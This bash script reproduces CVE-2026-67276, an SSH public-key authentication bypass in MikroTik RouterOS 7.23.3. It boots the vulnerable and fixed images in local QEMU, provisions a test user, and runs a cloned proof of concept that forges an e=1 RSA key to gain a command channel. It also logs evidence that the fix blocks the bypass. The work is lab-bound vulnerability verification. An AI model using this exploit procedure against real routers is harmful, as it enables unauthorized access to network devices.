#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
WORK="$ARTIFACTS/routeros-cve-2026-67276"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS" "$WORK"
cd "$ROOT"

# Keep broad diagnostics in the bundle, but do not bind this actively-written file
# into runtime_manifest.json.
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

VULN_VERSION="7.23.3"
FIXED_VERSION="7.23.4"
VULN_URL="https://download.mikrotik.com/routeros/${VULN_VERSION}/chr-${VULN_VERSION}.img.zip"
FIXED_URL="https://download.mikrotik.com/routeros/${FIXED_VERSION}/chr-${FIXED_VERSION}.img.zip"
VULN_ARCHIVE_SHA="646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c"
FIXED_ARCHIVE_SHA="0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d"
POC_REPO="https://github.com/dinosn/mikrotrick-poc.git"
POC_COMMIT="3281202c8ade8e31acf007da0c71057da83f2335"
SETUP_PASSWORD="Cve67276-Setup-Only-9x"
TARGET_USER="cveuser"
RUN_STATE="$WORK/run-state"
IMAGES="$WORK/images"
POC="$WORK/mikrotrick-poc"
PYDEPS="$WORK/python-deps"
mkdir -p "$RUN_STATE" "$IMAGES"
rm -rf "$RUN_STATE"/*

write_failure_manifest() {
  local note="$1"
  MANIFEST_NOTE="$note" python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, os, sys
path = sys.argv[1]
data = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "real TCP RouterOS SSH service RSA public-key authentication",
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": ["qemu-system-x86_64", "RouterOS CHR SSH", "Paramiko SSH client"],
  "proof_artifacts": [],
  "artifact_sha256": {},
  "notes": os.environ.get("MANIFEST_NOTE", "runtime attempt did not complete")
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True)
    f.write("\n")
PY
}
write_failure_manifest "reproduction_steps.sh started; final status not yet known"
trap 'rc=$?; if [ "$rc" -ne 0 ]; then write_failure_manifest "reproduction failed with exit status $rc; inspect logs/reproduction_steps.log"; fi' EXIT

# This run has no prepared project cache, but honor a future prepared context as
# required. RouterOS is image-backed, so only an explicitly usable cache repo is
# considered; otherwise use bundle/artifacts.
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_PREPARED="$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
  CACHE_REPO="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  if [ "$CACHE_PREPARED" = "true" ] && [ -n "$CACHE_REPO" ] && [ -d "$CACHE_REPO/repo" ]; then
    echo "[i] Prepared project cache exists at $CACHE_REPO/repo (not used for vendor image identity)."
  fi
fi

need_apt=0
for cmd in qemu-system-x86_64 ssh-keygen; do
  command -v "$cmd" >/dev/null 2>&1 || need_apt=1
done
if [ "$need_apt" -eq 1 ]; then
  echo "[i] Installing QEMU and OpenSSH client dependencies..."
  sudo apt-get update
  sudo DEBIAN_FRONTEND=noninteractive apt-get install -y qemu-system-x86 openssh-client
fi
for cmd in qemu-system-x86_64 ssh-keygen curl git unzip socat timeout sha256sum python3 jq; do
  command -v "$cmd" >/dev/null 2>&1 || { echo "[-] missing required command: $cmd"; exit 2; }
done

fetch_image() {
  local version="$1" url="$2" expected="$3"
  local archive="$IMAGES/chr-${version}.img.zip"
  local image="$IMAGES/chr-${version}.pristine.img"
  if [ ! -f "$archive" ] || [ "$(sha256sum "$archive" | awk '{print $1}')" != "$expected" ]; then
    rm -f "$archive"
    echo "[i] Downloading official RouterOS CHR $version image..."
    curl --fail --location --retry 3 --output "$archive.part" "$url"
    mv "$archive.part" "$archive"
  fi
  echo "$expected  $archive" | sha256sum -c -
  if [ ! -f "$image" ] || [ ! -s "$image" ]; then
    rm -f "$image"
    unzip -p "$archive" "chr-${version}.img" > "$image"
  fi
  test -s "$image"
}
fetch_image "$VULN_VERSION" "$VULN_URL" "$VULN_ARCHIVE_SHA"
fetch_image "$FIXED_VERSION" "$FIXED_URL" "$FIXED_ARCHIVE_SHA"
VULN_RAW_SHA="$(sha256sum "$IMAGES/chr-${VULN_VERSION}.pristine.img" | awk '{print $1}')"
FIXED_RAW_SHA="$(sha256sum "$IMAGES/chr-${FIXED_VERSION}.pristine.img" | awk '{print $1}')"

if [ ! -d "$POC/.git" ]; then
  rm -rf "$POC"
  git clone "$POC_REPO" "$POC"
fi
git -C "$POC" fetch --depth 1 origin "$POC_COMMIT"
git -C "$POC" checkout --detach "$POC_COMMIT"
test "$(git -C "$POC" rev-parse HEAD)" = "$POC_COMMIT"

REQ_SHA="$(sha256sum "$POC/requirements.txt" | awk '{print $1}')"
if [ ! -f "$PYDEPS/.requirements-sha" ] || [ "$(cat "$PYDEPS/.requirements-sha" 2>/dev/null || true)" != "$REQ_SHA" ]; then
  rm -rf "$PYDEPS"
  mkdir -p "$PYDEPS"
  python3 -m pip install --disable-pip-version-check --no-cache-dir --target "$PYDEPS" -r "$POC/requirements.txt"
  printf '%s\n' "$REQ_SHA" > "$PYDEPS/.requirements-sha"
fi
export PYTHONPATH="$PYDEPS:$POC"
python3 "$POC/selftest.py" | tee "$RUN_STATE/forgery-selftest.log"

# Setup-only helper. It authenticates with the factory/setup password, creates a
# least-privileged test user, and imports the ordinary authorized RSA public key.
cat > "$RUN_STATE/provision.py" <<'PY'
import sys
import paramiko

host, port, admin_password, target_user, user_password, pubkey = (
    sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6]
)
t = paramiko.Transport((host, port))
t.start_client(timeout=20)
t.auth_password("admin", admin_password)
assert t.is_authenticated(), "setup password authentication failed"

def execute(command):
    c = t.open_session(timeout=20)
    c.exec_command(command)
    out = b""
    err = b""
    while True:
        while c.recv_ready(): out += c.recv(4096)
        while c.recv_stderr_ready(): err += c.recv_stderr(4096)
        if c.exit_status_ready() and not c.recv_ready() and not c.recv_stderr_ready(): break
    status = c.recv_exit_status()
    print(f"$ {command}\nexit={status}\n{out.decode(errors='replace')}{err.decode(errors='replace')}")
    if status != 0: raise RuntimeError(f"command failed: {command}")

sftp = paramiko.SFTPClient.from_transport(t)
sftp.put(pubkey, "victim.pub")
sftp.close()
execute(f'/user add name="{target_user}" group=read password="{user_password}" comment="CVE-2026-67276 controlled test account"')
execute(f'/user ssh-keys import public-key-file=victim.pub user="{target_user}"')
execute(f'/user print detail where name="{target_user}"')
execute(f'/user ssh-keys print detail where user="{target_user}"')
t.close()
PY

# Control helper proves factory SSH was reached and performs its forced password
# change. This is setup, never attacker input.
cat > "$RUN_STATE/bootstrap.py" <<'PY'
import sys, time
import paramiko
host, port, newpw = sys.argv[1], int(sys.argv[2]), sys.argv[3]
t = paramiko.Transport((host, port)); t.start_client(timeout=20)
t.auth_password("admin", "")
assert t.is_authenticated(), "factory admin/blank setup authentication rejected"
c = t.open_session(timeout=20); c.get_pty(); c.invoke_shell(); buf = b""
def until(patterns, seconds=45):
    global buf
    end = time.time() + seconds
    while time.time() < end:
        if c.recv_ready():
            buf += c.recv(4096)
            for p in patterns:
                if p in buf: return p
        time.sleep(.15)
    raise TimeoutError(repr(buf[-800:]))
p = until([b"Do you want to see the software license? [Y/n]:", b"new password>", b"] >"])
if p == b"Do you want to see the software license? [Y/n]:":
    c.sendall(b"n\n"); buf = b""
    p = until([b"new password>", b"] >"])
if p == b"new password>":
    c.sendall(newpw.encode()+b"\n"); until([b"repeat new password>"])
    c.sendall(newpw.encode()+b"\n"); until([b"] >"])
print(buf.decode(errors="replace"))
c.close(); t.close()
PY

# Generate one ordinary authorized key for all controlled target instances. The
# private half is deleted before any attacker attempt; only public material and
# its modulus remain.
KEYDIR="$RUN_STATE/key-setup"
ATTACKER="$RUN_STATE/attacker"
mkdir -p "$KEYDIR" "$ATTACKER"
ssh-keygen -q -t rsa -b 2048 -N '' -C cve-2026-67276-authorized -f "$KEYDIR/authorized_rsa"
cp "$KEYDIR/authorized_rsa.pub" "$ATTACKER/authorized_rsa.pub"
ORIGINAL_EXPONENT="$(python3 - "$ATTACKER/authorized_rsa.pub" <<'PY'
from forge_67276 import parse_openssh_rsa_pubkey
import sys
with open(sys.argv[1]) as f: n,e,c=parse_openssh_rsa_pubkey(f.read())
print(e)
PY
)"
MODULUS_SHA="$(python3 - "$ATTACKER/authorized_rsa.pub" <<'PY'
from forge_67276 import parse_openssh_rsa_pubkey
import hashlib,sys
with open(sys.argv[1]) as f: n,e,c=parse_openssh_rsa_pubkey(f.read())
b=n.to_bytes((n.bit_length()+7)//8,'big')
print(hashlib.sha256(b).hexdigest())
PY
)"
rm -f "$KEYDIR/authorized_rsa"
if find "$RUN_STATE" -type f \( -name 'authorized_rsa' -o -name '*.pem' \) | grep -q .; then
  echo "[-] authorized private key still exists before attacker attempts"
  exit 1
fi

IDENTITY_LOG="$REPRO_DIR/target_identity.log"
cat > "$IDENTITY_LOG" <<EOF
CVE=CVE-2026-67276
vulnerable_version=$VULN_VERSION
vulnerable_archive_url=$VULN_URL
vulnerable_archive_sha256=$VULN_ARCHIVE_SHA
vulnerable_raw_image_sha256=$VULN_RAW_SHA
fixed_version=$FIXED_VERSION
fixed_archive_url=$FIXED_URL
fixed_archive_sha256=$FIXED_ARCHIVE_SHA
fixed_raw_image_sha256=$FIXED_RAW_SHA
qemu_binary=$(command -v qemu-system-x86_64)
qemu_binary_sha256=$(sha256sum "$(command -v qemu-system-x86_64)" | awk '{print $1}')
qemu_version=$(qemu-system-x86_64 --version | head -1)
poc_repository=$POC_REPO
poc_commit=$POC_COMMIT
authorized_original_exponent=$ORIGINAL_EXPONENT
attacker_offered_exponent=1
authorized_modulus_sha256=$MODULUS_SHA
authorized_private_key_present_before_attacks=false
EOF

declare -a QEMU_PIDS=()
cleanup() {
  local p
  for p in "${QEMU_PIDS[@]:-}"; do
    if kill -0 "$p" 2>/dev/null; then kill "$p" 2>/dev/null || true; wait "$p" 2>/dev/null || true; fi
  done
}
trap 'rc=$?; cleanup; if [ "$rc" -ne 0 ]; then write_failure_manifest "reproduction failed with exit status $rc; inspect logs/reproduction_steps.log"; fi' EXIT

wait_ssh() {
  local port="$1"
  local i
  for i in $(seq 1 120); do
    if timeout 1 bash -c "exec 3<>/dev/tcp/127.0.0.1/$port; IFS= read -r line <&3; printf '%s' \"\$line\" | grep -q '^SSH-'" 2>/dev/null; then return 0; fi
    sleep 1
  done
  return 1
}

run_attempt() {
  local role="$1" version="$2" attempt="$3" port="$4" expected="$5"
  local prefix="${role}_attempt_${attempt}"
  local disk="$RUN_STATE/${prefix}.img"
  local qlog="$REPRO_DIR/${prefix}_qemu.log"
  local setup_log="$REPRO_DIR/${prefix}_setup.log"
  local attack_log="$REPRO_DIR/${prefix}_attack.log"
  local monitor="$RUN_STATE/${prefix}.monitor"
  cp --reflink=auto "$IMAGES/chr-${version}.pristine.img" "$disk" 2>/dev/null || cp "$IMAGES/chr-${version}.pristine.img" "$disk"
  rm -f "$monitor"
  echo "[i] Booting fresh RouterOS CHR $version for $role attempt $attempt on TCP $port"
  qemu-system-x86_64 \
    -accel tcg -m 256 -smp 1 -name "chr-${version}-${attempt}" \
    -drive "file=$disk,format=raw,if=virtio" \
    -netdev "user,id=n0,hostfwd=tcp:127.0.0.1:${port}-:22" \
    -device e1000,netdev=n0 \
    -display none -serial none -monitor "unix:$monitor,server,nowait" \
    > "$qlog" 2>&1 &
  local pid=$!
  QEMU_PIDS+=("$pid")
  wait_ssh "$port" || { echo "[-] RouterOS SSH listener did not become ready"; return 1; }
  {
    echo "TARGET_ROLE=$role"
    echo "TARGET_VERSION=$version"
    echo "TARGET_TCP_ENDPOINT=127.0.0.1:$port"
    echo "TCP_LISTENER_REACHED=true"
    timeout 60s python3 "$RUN_STATE/bootstrap.py" 127.0.0.1 "$port" "$SETUP_PASSWORD"
    timeout 60s python3 "$RUN_STATE/provision.py" 127.0.0.1 "$port" "$SETUP_PASSWORD" "$TARGET_USER" "SetupUser-Only-${attempt}" "$ATTACKER/authorized_rsa.pub"
    echo "SETUP_PHASE_COMPLETE=true"
  } > "$setup_log" 2>&1
  test ! -e "$KEYDIR/authorized_rsa"
  {
    echo "CVE=CVE-2026-67276"
    echo "TARGET_ROLE=$role"
    echo "TARGET_VERSION=$version"
    echo "TARGET_TCP_ENDPOINT=127.0.0.1:$port"
    echo "ATTACKER_INPUT=username:$TARGET_USER,authorized_public_modulus_sha256:$MODULUS_SHA"
    echo "SETUP_CREDENTIAL_USED_BY_ATTACKER=false"
    echo "AUTHORIZED_PRIVATE_KEY_PRESENT=false"
    echo "AUTHORIZED_ORIGINAL_EXPONENT=$ORIGINAL_EXPONENT"
    echo "ATTACKER_OFFERED_EXPONENT=1"
    set +e
    timeout 45s python3 "$POC/poc_67276.py" \
      --host 127.0.0.1 --port "$port" --username "$TARGET_USER" \
      --pubkey "$ATTACKER/authorized_rsa.pub" --algos rsa-sha2-256,ssh-rsa \
      --exp-enc aligned --exec '/system resource print' --timeout 12 \
      --lab-i-own-this-target
    attack_rc=$?
    set -e
    echo "ATTACK_EXIT_STATUS=$attack_rc"
    if [ "$expected" = "success" ]; then
      test "$attack_rc" -eq 0
      echo "EXPECTED_AUTH_RESULT=accepted"
      echo "ATTACK_RESULT=accepted_command_channel_opened"
    else
      test "$attack_rc" -ne 0
      test "$attack_rc" -ne 124
      echo "EXPECTED_AUTH_RESULT=rejected"
      echo "ATTACK_RESULT=rejected_before_command_channel"
    fi
  } > "$attack_log" 2>&1
  if [ "$expected" = "success" ]; then
    grep -Fq "[+] AUTHENTICATED as '$TARGET_USER' via forged e=1 key" "$attack_log"
    grep -Fq "CVE-2026-67276 confirmed on target" "$attack_log"
    grep -Fq "version:" "$attack_log"
    grep -Fq "$version" "$attack_log"
  else
    grep -Fq "[-] all algorithms rejected" "$attack_log"
    ! grep -Fq "AUTHENTICATED" "$attack_log"
    ! grep -Fq -- "--- post-auth command output ---" "$attack_log"
  fi
  printf 'quit\n' | socat - "UNIX-CONNECT:$monitor" >/dev/null 2>&1 || true
  kill "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true
  QEMU_PIDS[${#QEMU_PIDS[@]}-1]=""
  rm -f "$disk" "$monitor"
  echo "[+] $role attempt $attempt produced expected result"
}

# Two clean vulnerable states followed by two clean vendor-fixed states.
run_attempt vulnerable "$VULN_VERSION" 1 22231 success
run_attempt vulnerable "$VULN_VERSION" 2 22232 success
run_attempt fixed "$FIXED_VERSION" 1 22241 reject
run_attempt fixed "$FIXED_VERSION" 2 22242 reject

SUMMARY="$REPRO_DIR/proof_summary.log"
cat > "$SUMMARY" <<EOF
CVE-2026-67276 CURRENT-RUN PRODUCTION-PATH RESULT
entrypoint=tcp_peer
service=real RouterOS CHR SSH over TCP via QEMU user networking
attacker_inputs=username and authorized RSA public modulus only
original_authorized_exponent=$ORIGINAL_EXPONENT
attacker_offered_exponent=1
authorized_private_key_present=false
vulnerable_7.23.3_attempt_1=forged_auth_accepted_and_command_channel_opened
vulnerable_7.23.3_attempt_2=forged_auth_accepted_and_command_channel_opened
fixed_7.23.4_attempt_1=forged_auth_rejected_before_command_channel
fixed_7.23.4_attempt_2=forged_auth_rejected_before_command_channel
observed_impact=authz_bypass
scope_note=no privilege escalation or other CVE was attempted
EOF

# Only finalized, immutable per-attempt files are evidence-bound. QEMU has exited,
# and no process will append to these files after this point.
PROOF_FILES=(
  "repro/target_identity.log"
  "repro/vulnerable_attempt_1_qemu.log"
  "repro/vulnerable_attempt_1_setup.log"
  "repro/vulnerable_attempt_1_attack.log"
  "repro/vulnerable_attempt_2_qemu.log"
  "repro/vulnerable_attempt_2_setup.log"
  "repro/vulnerable_attempt_2_attack.log"
  "repro/fixed_attempt_1_qemu.log"
  "repro/fixed_attempt_1_setup.log"
  "repro/fixed_attempt_1_attack.log"
  "repro/fixed_attempt_2_qemu.log"
  "repro/fixed_attempt_2_setup.log"
  "repro/fixed_attempt_2_attack.log"
  "repro/proof_summary.log"
)
VULN_ARCHIVE_SHA="$VULN_ARCHIVE_SHA" FIXED_ARCHIVE_SHA="$FIXED_ARCHIVE_SHA" \
VULN_VERSION="$VULN_VERSION" QEMU_SHA="$(sha256sum "$(command -v qemu-system-x86_64)" | awk '{print $1}')" \
python3 - "$ROOT" "$REPRO_DIR/runtime_manifest.json" "${PROOF_FILES[@]}" <<'PY'
import hashlib, json, os, platform, sys
root, output, *paths = sys.argv[1:]
hashes = {}
for rel in paths:
    with open(os.path.join(root, rel), "rb") as f:
        hashes[rel] = hashlib.sha256(f.read()).hexdigest()
data = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "real TCP RouterOS SSH service RSA public-key authentication",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["qemu-system-x86_64", "unmodified RouterOS CHR 7.23.3 SSH service", "Paramiko 5.0.0 SSH client"],
  "target_identity": {
    "repository_url": "https://download.mikrotik.com/routeros/7.23.3/chr-7.23.3.img.zip",
    "target_digest": os.environ["VULN_ARCHIVE_SHA"],
    "runtime_digest": os.environ["QEMU_SHA"],
    "platform": "linux",
    "architecture": platform.machine()
  },
  "proof_artifacts": paths,
  "artifact_sha256": hashes,
  "notes": "Two fresh vulnerable 7.23.3 TCP SSH attempts accepted e=1 forged authentication and returned RouterOS command output; two fresh fixed 7.23.4 attempts rejected it. Fixed archive sha256=" + os.environ["FIXED_ARCHIVE_SHA"]
}
with open(output, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True)
    f.write("\n")
PY

python3 -m json.tool "$REPRO_DIR/runtime_manifest.json" >/dev/null
for rel in "${PROOF_FILES[@]}"; do
  expected="$(jq -r --arg p "$rel" '.artifact_sha256[$p]' "$REPRO_DIR/runtime_manifest.json")"
  actual="$(sha256sum "$ROOT/$rel" | awk '{print $1}')"
  test "$expected" = "$actual"
done

echo "[+] CONFIRMED CVE-2026-67276: RouterOS 7.23.3 accepted the forged e=1 RSA key twice and returned target command output; RouterOS 7.23.4 rejected twice."
trap - EXIT
cleanup
exit 0
